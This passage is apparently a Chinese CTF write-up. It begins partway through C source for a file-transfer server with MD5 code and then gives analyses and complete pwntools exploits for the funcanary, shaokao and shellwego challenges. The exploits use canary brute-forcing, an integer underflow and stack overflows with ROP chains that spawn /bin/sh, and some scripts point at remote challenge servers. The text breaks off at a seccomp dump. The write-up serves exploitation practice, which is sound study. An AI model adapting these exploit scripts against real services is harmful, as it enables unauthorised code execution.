if(send(connfd, info, strlen(info), 0) < 0) {
sprintf(logMsg,"send msg error: %s(errno: %d)\n", strerror(errno), errno);
printLog(logMsg);
return fclose(fp);
}
fclose(fp);
break;
case PULL:
strtok(buf," ");
filename = strtok(NULL," ");
if(filename == NULL){
sprintf(info,"CMD[PULL] need parameter <filename>\n");
if(send(connfd, info, strlen(info), 0) < 0) {
sprintf(logMsg,"send msg error: %s(errno: %d)\n", strerror(errno), errno);
printLog(logMsg);
return -1;
}
break;
}
snprintf(temp,sizeof(temp),"%s/%s",current,filename);
if(stat(temp,&st)<0){
sprintf(info,"File %s not find\n",filename);
if(send(connfd, info, strlen(info), 0) < 0) {
sprintf(logMsg,"send msg error: %s(errno: %d)\n", strerror(errno), errno);
printLog(logMsg);
return -1;
}
break;
}
size = st.st_size;
sprintf(info,"Start download file: %s-%d\n",filename,size);
if(send(connfd, info, strlen(info), 0) < 0) {
sprintf(logMsg,"send msg error: %s(errno: %d)\n", strerror(errno), errno);
printLog(logMsg);
return -1;
}
fp = fopen(temp,"r");
while(1){
memset(info,0,sizeof(info));
n = fread(info, 1, sizeof(info), fp);
send(connfd, info, n, 0);
if(n == 0){
break;
}
}
sprintf(logMsg,"client %s:%d had downloaded file %s\n", inet_ntoa(clieaddr.sin_addr), ntohs(clieaddr.sin_port),filename);
printLog(logMsg);
fclose(fp);
break;
case PUSH:
strtok(buf," ");
filename = strtok(NULL," ");
if(filename == NULL){
sprintf(info,"CMD[PUSH] need parameter <filename>\n");
if(send(connfd, info, strlen(info), 0) < 0) {
sprintf(logMsg,"send msg error: %s(errno: %d)\n", strerror(errno), errno);
printLog(logMsg);
return -1;
}
break;
}
sprintf(info,"Try to upload file: %s\n",filename);
if(send(connfd, info, strlen(info), 0) < 0) {
sprintf(logMsg,"send msg error: %s(errno: %d)\n", strerror(errno), errno);
printLog(logMsg);
return -1;
}
memset(info,0,sizeof(info));
if(recv(connfd, info, sizeof(info), 0) < 0) {
sprintf(logMsg,"recv msg error: %s(errno: %d)\n", strerror(errno), errno);
printLog(logMsg);
}
if(!strcmp("Try to upload the flie",info)){
snprintf(temp,sizeof(temp),"%s/%s",current,filename);
fp = fopen(temp,"w");
if(!fp){
sprintf(logMsg,"Something error\n");
printLog(logMsg);
}
while(1){
n = recv(connfd, info, sizeof(info), 0);
if(n < 0){
break;
}
fwrite(info, 1, n, fp);
}
fflush(fp);

data = (char*)malloc(getFileSize(fp));
MD5Update(&context, data, getFileSize(fp));
MD5Final(&context, digest);

sprintf(logMsg,"md5: ");
printLog(logMsg);
memset(info,0,sizeof(info));
for(i = 0; i < 16; i++){
sprintf(logMsg,"%02x", digest[i]);
sprintf(info,"%s%02x", info, digest[i]);
printLog(logMsg);
}
sprintf(logMsg,"\n");
printLog(logMsg);

if(send(connfd, info, strlen(info), 0) < 0) {
sprintf(logMsg,"send msg error: %s(errno: %d)\n", strerror(errno), errno);
printLog(logMsg);
return -1;
}

if(recv(connfd, info, sizeof(info), 0) < 0) {
sprintf(logMsg,"recv msg error: %s(errno: %d)\n", strerror(errno), errno);
printLog(logMsg);
}

if(!strcmp(info,"File md5 error")){
sprintf(logMsg,"client %s:%d fail to upload file %s\n", inet_ntoa(clieaddr.sin_addr), ntohs(clieaddr.sin_port),filename);
printLog(logMsg);
}
else if(!strcmp(info,"File md5 success")){
sprintf(logMsg,"client %s:%d success to upload file %s\n", inet_ntoa(clieaddr.sin_addr), ntohs(clieaddr.sin_port),filename);
printLog(logMsg);
}

free(data);
fclose(fp);

}
else if(!strcmp("File not find",info)){
sprintf(logMsg,"client %s:%d failed to upload file\n", inet_ntoa(clieaddr.sin_addr), ntohs(clieaddr.sin_port));
printLog(logMsg);
}
break;
case CD:
strtok(buf," ");
dirname = strtok(NULL," ");
if(dirname == NULL){
sprintf(info,"CMD[CD] need parameter <dirname>\n");
if(send(connfd, info, strlen(info), 0) < 0) {
sprintf(logMsg,"send msg error: %s(errno: %d)\n", strerror(errno), errno);
printLog(logMsg);
return -1;
}
break;
}

dirpart = strtok(dirname,"/");
n = 0;
memset(dir,0,sizeof(dir));
while(dirpart != NULL){
if(strcmp(dirpart,"..")==0){n++;}
else if(strcmp(dirpart,".")==0){}
else{
snprintf(dir,sizeof(dir),"%s/%s",dir,dirpart);
}
dirpart = strtok(NULL,"/");
}

snprintf(temp,sizeof(temp),"%s%s",current,dir);
while(n > 0){
if(strcmp(temp,rootdir) > 0){
i = strlen(temp);
while(1){
if(temp[i]=='/'){
temp[i--]=0;
break;
}
temp[i--]=0;
}
}
n--;
}

if(stat(temp,&st)<0){
sprintf(info,"Dir %s not find\n",dirname);
if(send(connfd, info, strlen(info), 0) < 0) {
sprintf(logMsg,"send msg error: %s(errno: %d)\n", strerror(errno), errno);
printLog(logMsg);
return -1;
}
break;
}
if(st.st_mode & S_IFREG){
sprintf(info,"The %s is file not dir\n",dirname);
if(send(connfd, info, strlen(info), 0) < 0) {
sprintf(logMsg,"send msg error: %s(errno: %d)\n", strerror(errno), errno);
printLog(logMsg);
return -1;
}
break;
}

strcpy(current,temp);
sprintf(info,"Current dir is %s\n",current);
if(send(connfd, info, strlen(info), 0) < 0) {
sprintf(logMsg,"send msg error: %s(errno: %d)\n", strerror(errno), errno);
printLog(logMsg);
return -1;
}
break;
case PWD:
sprintf(info,"%s\n",current);
if(send(connfd, info, strlen(info), 0) < 0) {
sprintf(logMsg,"send msg error: %s(errno: %d)\n", strerror(errno), errno);
printLog(logMsg);
return -1;
}
break;
case HELP:
sprintf(info,"<---------------------------------------->\n");
strcat(info,"1.LS: Show the file you can PULL\n");
strcat(info,"2.PULL <filename>: Download <filename> from the server\n");
strcat(info,"3.PUSH <filename>: Upload <filename> to the server\n");
strcat(info,"4.CD <dirname>: Enter the specified path\n");
strcat(info,"5.PWD: Displays the current path\n");
strcat(info,"6.EXIT: Close the connection to the server\n");
strcat(info,"<---------------------------------------->\n");
if(send(connfd, info, strlen(info), 0) < 0) {
sprintf(logMsg,"send msg error: %s(errno: %d)\n", strerror(errno), errno);
printLog(logMsg);
return -1;
}
break;
case EXIT:
sprintf(logMsg,"client %s:%d is closed\n", inet_ntoa(clieaddr.sin_addr), ntohs(clieaddr.sin_port));
printLog(logMsg);
sprintf(info,"The connection has been closed\n");
getTime(time);
sprintf(logMsg,"closed time: %s\n", time);
printLog(logMsg);
if(send(connfd, info, strlen(info), 0) < 0) {
sprintf(logMsg,"send msg error: %s(errno: %d)\n", strerror(errno), errno);
printLog(logMsg);
return -1;
}
free(clieinfos[index]);
clieinfos[index] = NULL;
fflush(lfp);
return close(connfd);
case NUL:
sprintf(info,"CMD[%s] is not find, please use CMD[help]\n",buf);
if(send(connfd, info, strlen(info), 0) < 0) {
sprintf(logMsg,"send msg error: %s(errno: %d)\n", strerror(errno), errno);
printLog(logMsg);
return -1;
}
break;
default:
sprintf(info,"Something error\n");
if(send(connfd, info, strlen(info), 0) < 0) {
sprintf(logMsg,"send msg error: %s(errno: %d)\n", strerror(errno), errno);
printLog(logMsg);
return -1;
}
break;
}
}
}

int initRoot(){
struct stat st;

getcwd(rootdir, sizeof(rootdir));
strcat(rootdir,"/root");
if(stat(rootdir,&st)<0){
printf("The rootdir %s not find\n",rootdir);
printf("Creating %s now\n",rootdir);
mkdir(rootdir,0777);
}
else{
printf("The rootdir is %s\n",rootdir);
}
strcpy(current,rootdir);
}

int initLog(){
char buf[0x40];
char time[0x20];
char logname[0x100];

getTime(time);
sprintf(buf,"Current time: %s\n", time);
time[10] = 0;
sprintf(logname,"%s/log.%s",rootdir,time);

lfp = fopen(logname,"a+");
if(lfp == NULL){
printf("create log error\n");
exit(0);
}
printLog(buf);
}

int getID(){
for(int i=0;i<0x20;i++){
if(clieinfos[i] == NULL){
clieinfos[i] = (struct info*)malloc(sizeof(struct info));
return i;
}
}
return -1;
}

int main(int argc, char** argv)
{
int listenfd, connfd, i;
struct sockaddr_in servaddr;
struct sockaddr_in listendAddr;
struct sigaction sa;
char ipAddr[INET_ADDRSTRLEN];
char info[0x100];
int len;

initRoot();
initLog();
MD5Init(&context);

sa.sa_handler = SIG_IGN;
signal(SIGCHLD,SIG_IGN);
sigaction(SIGPIPE, &sa, 0);

if( (listenfd = socket(AF_INET, SOCK_STREAM, 0)) == -1 )
{
sprintf(logMsg,"create socket error: %s(errno: %d)\n",strerror(errno),errno);
printLog(logMsg);
exit(0);
}
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(PORT);

struct timeval tv_out;
tv_out.tv_sec = 1;
tv_out.tv_usec = 0;
setsockopt(listenfd, SOL_SOCKET, SO_RCVTIMEO, &tv_out, sizeof(tv_out));

int opt = 1;
setsockopt(listenfd,SOL_SOCKET,SO_REUSEADDR,&opt,sizeof(opt));

if(bind(listenfd, (struct sockaddr*)&servaddr, sizeof(servaddr)) == -1)
{
sprintf(logMsg,"bind socket error: %s(errno: %d)\n",strerror(errno),errno);
printLog(logMsg);
exit(0);
}
if(listen(listenfd, LISTENQ) == -1)
{
sprintf(logMsg,"listen socket error: %s(errno: %d)\n",strerror(errno),errno);
printLog(logMsg);
exit(0);
}

len = sizeof(listendAddr);
if(getsockname(listenfd, (struct sockaddr *)&listendAddr, &len) == -1){
sprintf(logMsg,"getsockname error\n");
printLog(logMsg);
exit(0);
}
sprintf(logMsg,"listen address = %s:%d\n", inet_ntoa(listendAddr.sin_addr), ntohs(listendAddr.sin_port));
printLog(logMsg);

while(1)
{
if((connfd = accept(listenfd, (struct sockaddr*)NULL, NULL)) == -1){
continue;
}
if(i = getID() < 0){
sprintf(info,"The thread is full, please wait\n");
if(send(connfd, info, strlen(info), 0) < 0) {
sprintf(logMsg,"send msg error: %s(errno: %d)\n", strerror(errno), errno);
printLog(logMsg);
}
}
clieinfos[i]->sockfd = connfd;
len = sizeof(clieinfos[i]->clieaddr);
if(getpeername(connfd, (struct sockaddr *)&(clieinfos[i]->clieaddr), &len) == -1){
sprintf(logMsg,"getpeername error");
printLog(logMsg);
exit(0);
}
sprintf(logMsg,"client %s:%d try to connect\n", inet_ntop(AF_INET, &clieinfos[i]->clieaddr.sin_addr, ipAddr, sizeof(ipAddr)), ntohs(clieinfos[i]->clieaddr.sin_port));
printLog(logMsg);
if (pthread_create(&(clieinfos[i]->tidp) , NULL, cmdHander, i)){
sprintf(logMsg,"pthread_create error!\n");
printLog(logMsg);
return -1;
}
}
close(listenfd);
fclose(lfp);
}

MD5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#include <string.h>
#include "md5.h"


unsigned char PADDING[]={0x80,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};

void MD5Init(MD5_CTX *context)
{
context->count[0] = 0;
context->count[1] = 0;
context->state[0] = 0x67452301;
context->state[1] = 0xEFCDAB89;
context->state[2] = 0x98BADCFE;
context->state[3] = 0x10325476;
}
void MD5Update(MD5_CTX *context,unsigned char *input,unsigned int inputlen)
{
unsigned int i = 0,index = 0,partlen = 0;
index = (context->count[0] >> 3) & 0x3F;
partlen = 64 - index;
context->count[0] += inputlen << 3;
if(context->count[0] < (inputlen << 3))
context->count[1]++;
context->count[1] += inputlen >> 29;

if(inputlen >= partlen)
{
memcpy(&context->buffer[index],input,partlen);
MD5Transform(context->state,context->buffer);
for(i = partlen;i+64 <= inputlen;i+=64)
MD5Transform(context->state,&input[i]);
index = 0;
}
else
{
i = 0;
}
memcpy(&context->buffer[index],&input[i],inputlen-i);
}
void MD5Final(MD5_CTX *context,unsigned char digest[16])
{
unsigned int index = 0,padlen = 0;
unsigned char bits[8];
index = (context->count[0] >> 3) & 0x3F;
padlen = (index < 56)?(56-index):(120-index);
MD5Encode(bits,context->count,8);
MD5Update(context,PADDING,padlen);
MD5Update(context,bits,8);
MD5Encode(digest,context->state,16);
}
void MD5Encode(unsigned char *output,unsigned int *input,unsigned int len)
{
unsigned int i = 0,j = 0;
while(j < len)
{
output[j] = input[i] & 0xFF;
output[j+1] = (input[i] >> 8) & 0xFF;
output[j+2] = (input[i] >> 16) & 0xFF;
output[j+3] = (input[i] >> 24) & 0xFF;
i++;
j+=4;
}
}
void MD5Decode(unsigned int *output,unsigned char *input,unsigned int len)
{
unsigned int i = 0,j = 0;
while(j < len)
{
output[i] = (input[j]) |
(input[j+1] << 8) |
(input[j+2] << 16) |
(input[j+3] << 24);
i++;
j+=4;
}
}
void MD5Transform(unsigned int state[4],unsigned char block[64])
{
unsigned int a = state[0];
unsigned int b = state[1];
unsigned int c = state[2];
unsigned int d = state[3];
unsigned int x[64];
MD5Decode(x,block,64);
FF(a, b, c, d, x[ 0], 7, 0xd76aa478);
FF(d, a, b, c, x[ 1], 12, 0xe8c7b756);
FF(c, d, a, b, x[ 2], 17, 0x242070db);
FF(b, c, d, a, x[ 3], 22, 0xc1bdceee);
FF(a, b, c, d, x[ 4], 7, 0xf57c0faf);
FF(d, a, b, c, x[ 5], 12, 0x4787c62a);
FF(c, d, a, b, x[ 6], 17, 0xa8304613);
FF(b, c, d, a, x[ 7], 22, 0xfd469501);
FF(a, b, c, d, x[ 8], 7, 0x698098d8);
FF(d, a, b, c, x[ 9], 12, 0x8b44f7af);
FF(c, d, a, b, x[10], 17, 0xffff5bb1);
FF(b, c, d, a, x[11], 22, 0x895cd7be);
FF(a, b, c, d, x[12], 7, 0x6b901122);
FF(d, a, b, c, x[13], 12, 0xfd987193);
FF(c, d, a, b, x[14], 17, 0xa679438e);
FF(b, c, d, a, x[15], 22, 0x49b40821);


GG(a, b, c, d, x[ 1], 5, 0xf61e2562);
GG(d, a, b, c, x[ 6], 9, 0xc040b340);
GG(c, d, a, b, x[11], 14, 0x265e5a51);
GG(b, c, d, a, x[ 0], 20, 0xe9b6c7aa);
GG(a, b, c, d, x[ 5], 5, 0xd62f105d);
GG(d, a, b, c, x[10], 9, 0x2441453);
GG(c, d, a, b, x[15], 14, 0xd8a1e681);
GG(b, c, d, a, x[ 4], 20, 0xe7d3fbc8);
GG(a, b, c, d, x[ 9], 5, 0x21e1cde6);
GG(d, a, b, c, x[14], 9, 0xc33707d6);
GG(c, d, a, b, x[ 3], 14, 0xf4d50d87);
GG(b, c, d, a, x[ 8], 20, 0x455a14ed);
GG(a, b, c, d, x[13], 5, 0xa9e3e905);
GG(d, a, b, c, x[ 2], 9, 0xfcefa3f8);
GG(c, d, a, b, x[ 7], 14, 0x676f02d9);
GG(b, c, d, a, x[12], 20, 0x8d2a4c8a);


HH(a, b, c, d, x[ 5], 4, 0xfffa3942);
HH(d, a, b, c, x[ 8], 11, 0x8771f681);
HH(c, d, a, b, x[11], 16, 0x6d9d6122);
HH(b, c, d, a, x[14], 23, 0xfde5380c);
HH(a, b, c, d, x[ 1], 4, 0xa4beea44);
HH(d, a, b, c, x[ 4], 11, 0x4bdecfa9);
HH(c, d, a, b, x[ 7], 16, 0xf6bb4b60);
HH(b, c, d, a, x[10], 23, 0xbebfbc70);
HH(a, b, c, d, x[13], 4, 0x289b7ec6);
HH(d, a, b, c, x[ 0], 11, 0xeaa127fa);
HH(c, d, a, b, x[ 3], 16, 0xd4ef3085);
HH(b, c, d, a, x[ 6], 23, 0x4881d05);
HH(a, b, c, d, x[ 9], 4, 0xd9d4d039);
HH(d, a, b, c, x[12], 11, 0xe6db99e5);
HH(c, d, a, b, x[15], 16, 0x1fa27cf8);
HH(b, c, d, a, x[ 2], 23, 0xc4ac5665);


II(a, b, c, d, x[ 0], 6, 0xf4292244);
II(d, a, b, c, x[ 7], 10, 0x432aff97);
II(c, d, a, b, x[14], 15, 0xab9423a7);
II(b, c, d, a, x[ 5], 21, 0xfc93a039);
II(a, b, c, d, x[12], 6, 0x655b59c3);
II(d, a, b, c, x[ 3], 10, 0x8f0ccc92);
II(c, d, a, b, x[10], 15, 0xffeff47d);
II(b, c, d, a, x[ 1], 21, 0x85845dd1);
II(a, b, c, d, x[ 8], 6, 0x6fa87e4f);
II(d, a, b, c, x[15], 10, 0xfe2ce6e0);
II(c, d, a, b, x[ 6], 15, 0xa3014314);
II(b, c, d, a, x[13], 21, 0x4e0811a1);
II(a, b, c, d, x[ 4], 6, 0xf7537e82);
II(d, a, b, c, x[11], 10, 0xbd3af235);
II(c, d, a, b, x[ 2], 15, 0x2ad7d2bb);
II(b, c, d, a, x[ 9], 21, 0xeb86d391);
state[0] += a;
state[1] += b;
state[2] += c;
state[3] += d;
}

funcanary

1
2
3
4
5
6
funcanary: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cc48b58555840ef369e5cd0f23a7e8779c021af7, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
5
6
7
8
9
unsigned __int64 pwn()
{
char buf[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 canary; // [rsp+68h] [rbp-8h]

canary = __readfsqword(0x28u);
read(0, buf, 0x80uLL);
return canary - __readfsqword(0x28u);
}
  • 栈溢出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__pid_t fd; // [rsp+Ch] [rbp-4h]

init();
while ( 1 )
{
fd = fork();
if ( fd < 0 )
break;
if ( fd )
{
wait(0LL);
}
else
{
puts("welcome");
pwn();
puts("have fun");
}
}
puts("fork error");
exit(0);
}
  • 多进程可以爆破 canary
1
2
3
4
int sub_1229()
{
return system("/bin/cat flag");
}
  • 有后门

入侵思路

先爆破 canary,然后打栈

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './funcanary'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x12B6)\n")
pause()

def cmd(op):
p.sendline(str(op))

#debug()
canary = "\x00"
back_addr = 0x0231

for j in range(7): #32位为‘3’,64位为‘7’
for i in range(0x100):
print(i)
payload = "a"*104+canary+chr(i)
p.recvuntil('welcome')
p.send(payload) #从0~0xFF,依次注入
a = p.recvuntil('*** stack smashing detected ***',timeout=0.5)
print(a)
if len(a) == 0: #一次性不覆盖全部的canary,而是覆盖1字节
canary += chr(i)
success("canary >> "+canary)
success("canary len >> "+str(len(canary)))
break

success("canary >> "+canary)
#debug()
for i in range(0xf):
success("back_addr >> "+hex(back_addr+0x1000*i))
payload = "a"*104+canary+p64(0)+p16(back_addr+0x1000*i)
sa("welcome",payload)
a=p.recv()
if b'flag{' in a:
print(a)
break

p.interactive()

shaokao

1
2
3
4
5
6
shaokao: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=2867805c3d477c70c169e3106f70255b7b4e8ffa, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,statically,Partial RELRO,Canary,NX

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 chuan()
{
int v1; // [rsp+8h] [rbp-8h] BYREF
int v2; // [rsp+Ch] [rbp-4h] BYREF

v2 = 1;
v1 = 1;
puts("1. 羊肉串");
puts("2. 牛肉串");
puts("3. 鸡肉串");
_isoc99_scanf((__int64)"%d", &v2);
puts("来几串?");
_isoc99_scanf((__int64)"%d", &v1);
if ( 5 * v1 >= money )
puts("诶哟,钱不够了");
else
money -= 5 * v1;
return 0LL;
}
  • 负数溢出
1
2
3
4
5
6
7
8
9
__int64 gaiming()
{
char v1[32]; // [rsp+0h] [rbp-20h] BYREF

puts("烧烤摊儿已归你所有,请赐名:");
_isoc99_scanf((__int64)"%s", v1);
j_strcpy_ifunc(name, v1);
return 0LL;
}
  • 栈溢出

入侵思路

通过负数溢出绕过获取栈溢出,直接 ROP

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './shaokao'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b *0x401FAE\n")
#gdb.attach(p,"b *$rebase(0x269F)\n")
pause()

def cmd(op):
p.sendline(str(op))

def buy():
sla("> ","1")
sla("3. 勇闯天涯","1")
sla("来几瓶?","-100000")

def show():
sla("> ","3")

def vip():
sla("> ","4")

def game(data):
sla("> ","5")
sla("烧烤摊儿已归你所有,请赐名:",data)

debug()

show()
buy()
show()
vip()

syscall = 0x458919
pop_rax = 0x0000000000458827
pop_rdi = 0x000000000040264f
pop_rsi = 0x000000000040a67e
pop_rdx = 0x00000000004a404b

binssh = 0x4E60F0

payload = "/bin/sh;"+"a"*0x20
payload += p64(pop_rdi) +p64(0x4E60F0)+p64(pop_rax)+p64(59)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(0)+p64(syscall)
game(payload)

p.interactive()

shellwego

1
2
3
4
5
6
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=SuxJivkd2dvJbgrdOCZT/N0LJWS-KaWam2n_aHm00/XCCoLNUmWNjMS_l2-7QG/Mo580T0hsQ-JQlJwgRB_, stripped
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,statically,NX

程序分析

GO 语言的逆向

在执行命令之前需要先绕过加密,核心加密代码在如下函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
_QWORD *__fastcall flnall(__int64 a1, __int64 a2)
{
signed __int64 v2; // rax
__int64 v3; // r14
signed __int64 v4; // rbx
__int64 v5; // rdx
__int64 v6; // rax
unsigned __int64 v7; // rdi
__int64 v8; // rsi
__int64 v9; // rbx
__int64 v10; // rdx
_QWORD *result; // rax
char v12[14]; // [rsp+12h] [rbp-46h] BYREF
__int64 v13; // [rsp+40h] [rbp-18h]
__int64 v14; // [rsp+48h] [rbp-10h] BYREF

if ( (unsigned __int64)&v14 <= *(_QWORD *)(v3 + 16) )
sub_45FFC0();
v4 = v2;
v13 = sub_44DA80();
sub_4496A0(a1, a2, v5, v4);
v14 = v6;
qmemcpy(v12, "F1nallB1rd3K3y", sizeof(v12));
sub_476B00();
v7 = v4;
v8 = v13;
sub_476C20();
v9 = v14;
result = (_QWORD *)code(v7, v8, v10, v7); // 核心加密函数
if ( !shell_key && v9 == 16 && *result == 0x5362703858494C4ALL && result[1] == 0x4761572F755A5976LL )
{
result = (_QWORD *)sub_49B0C0();
shell_key = 1LL;
}
return result;
}

逆向脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64
from Crypto.Cipher import ARC4

def decrypt_data(key, encrypted_data):
decoded_data = base64.b64decode(encrypted_data)
cipher = ARC4.new(key)
decrypted_data = cipher.decrypt(decoded_data)
return decrypted_data

key = b'F1nallB1rd3K3y'
encrypted_data = b'JLIX8pbSvYZu/WaG'

decrypted_data = decrypt_data(key, encrypted_data)

print(decrypted_data)
  • 结果:S33UAga1n@#!

单步调试程序可以发现验证命令为:cert nAcDsMicN S33UAga1n@#!

漏洞分析

漏洞点在 echo 命令中:

echo 命令拥有一片 0x200 大小的缓冲区,并且限制了输出长度的 0x200

但是该 echo 命令可以将多个以空格为间隔的字符串进行拼接,并统一放入缓冲区中,echo 只对单一的一个字符串进行了长度检查,因此可以使用 echo xxxx xxxx 的形式进行栈溢出

  • PS:这里存在一个小问题,在栈溢出的过程中可能会覆盖程序的关键指针从而导致段错误,不过程序提供了 + 字符来处理这个问题(在覆盖数据时,程序会跳过 + 字符)

入侵思路

通过这一个栈溢出就可以打 ROP,执行 syscall 就可以了(直接写入 /bin/sh 即可,该程序的栈随机化比较轻微,有概率命中 /bin/sh 的地址)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('39.105.187.49','35528')

def debug():
gdb.attach(p,"b *0x4C18A0")
#gdb.attach(p,"b *$rebase(0x269F)\n")
pause()

def cmd(op):
p.sendline(str(op))

# cert nAcDsMicN S33UAga1n@#!

p.sendline("cert nAcDsMicN S33UAga1n@#!")
p.sendline("/bin/sh\x00")

pop_rdi = 0x0000000000444fec
pop_rax = 0x000000000040d9e6
pop_rsi = 0x000000000041e818
pop_rdx = 0x000000000049e11d
syscall = 0x000000000040328c

system_addr = 0x4C1B1A
binsh_addr = 0xc000020190

#debug()

payload = "echo "+"a"*(0x200)+" "+"\x00"*(3)
payload += "+"*8*4
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(59)
payload += p64(pop_rdi) + p64(binsh_addr)
payload += p64(syscall)

p.sendline(payload)
p.interactive()

talkbot

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.\n
1
2
3
4
5
6
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9201a3cb37f7572f96499f58c70901a874591275, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
5
6
7
8
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
